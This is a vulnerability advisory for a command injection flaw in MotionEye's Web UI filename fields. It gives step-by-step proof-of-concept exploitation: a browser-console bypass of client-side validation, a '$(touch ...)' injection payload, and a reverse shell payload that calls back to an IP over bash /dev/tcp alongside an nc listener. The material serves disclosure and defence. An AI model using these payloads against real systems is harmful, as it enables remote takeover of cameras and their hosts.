PT-2025-45735 · Pypi · Motioneye

Published

2025-11-03

·

Updated

2025-11-03

CVSS v3.1

7.2

High

VectorAV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Summary

A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).

Details

Root Cause:

MotionEye accepts arbitrary strings from fields such as image file name and movie filename in the Web UI. These are written directly into /etc/motioneye/camera-*.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.

Vulnerability flow:

Dashboard (Web UI) ↓ ConfigHandler.set config() ↓ camera-*.conf written ↓ motionctl.restart() ↓ Motion parses config → executes payload

Affected code:

The issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.

Proof of Concept (PoC)

The following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye. Tested using the official Docker image.

Environment Setup

  1. Start MotionEye container Launch the vulnerable container:
bash
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
  1. Verify version Confirm the running version inside logs:
bash
docker logs motioneye | grep "motionEye server"
Result:
motionEye server 0.43.1b4
version ver
  1. Container shell access (for verification later) Keep a shell handy to verify results:
bash
docker exec -it motioneye /bin/bash
ls -la /tmp

Exploitation Steps

  1. Access Web Interface
  • Open browser at: http://127.0.0.1:9999
  • Login with default credentials: admin / (blank password)
  • Add a sample RTSP network camera (required to enable camera-specific settings).
add camera
  1. Attempt malicious filename input
  • Go to: Camera Settings → Still Images
  • In the Image File Name field, try:
bash
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
  • Observation: This is blocked by client-side validation in the browser.
er1 er2
  1. Client-Side Validation Discovery
  • The check is implemented in JavaScript:
  • /static/js/main.js?v=0.43.1b4 → references /static/js/ui.js?v=0.43.1b4
  • Example validation function:
javascript
function configUiValid() {
 $('div.settings').find('.validator').each(function () { this.validate(); });
 var valid = true;
 $('div.settings input, select').each(function () {
  if (this.invalid) { valid = false; return false; }
 });
 return valid;
}
  1. Bypass Validation
  • Open browser console (F12 → Console tab)
  • Override the function to always return true:
javascript
configUiValid = function() { return true; };
  • This bypasses client-side validation and allows arbitrary values. bypass
  1. Inject Payload
  • Set Capture Mode: Interval Snapshots
  • Set Interval: 10
  • Set Image File Name to the payload:
bash
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
  • Click Apply to save settings. inject payload
  1. Verify Execution
  • Inside the container shell:
bash
ls -la /tmp
  • Result: File /tmp/test is created with root permissions, confirming code execution. verify

Weaponizing RCE (Reverse Shell Example)

  1. Start attacker listener
bash
nc -lvnp 4444
  1. Inject reverse shell payload Enter the following into the Image File Name field:
bash
$(python3 -c "import os;os.system('bash -c "bash -i >& /dev/tcp/192.168.0.108/4444 0>&1"')").%Y-%m-%d-%H-%M-%S
  1. Result
  • A reverse shell connects back to the attacker’s machine.
  • Attacker gains full control of the MotionEye container environment. final

Root Cause

  • MotionEye writes unsanitized values (e.g., image file name) from the Web UI directly into camera-<id>.conf.
  • On restart, the motion binary parses these fields as shell-expandable strings, leading to arbitrary command execution.

Impact

Type: OS Command Injection → Remote Code Execution
Who is impacted:
  1. Any MotionEye deployment where attackers can authenticate as admin (or where the UI is left exposed with default/no password).
  2. Containerized and bare-metal installs alike.
Potential consequences:
  1. Full compromise of MotionEye container.
  2. Lateral movement or host compromise if the container runs with privileged permissions or mounts sensitive host volumes.

Fix

Improper Encoding or Escaping of Output

OS Command Injection

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Weakness Enumeration

CWE-116CWE-78

Related Identifiers

GHSA-J945-QM58-4GJX

Affected Products

Motioneye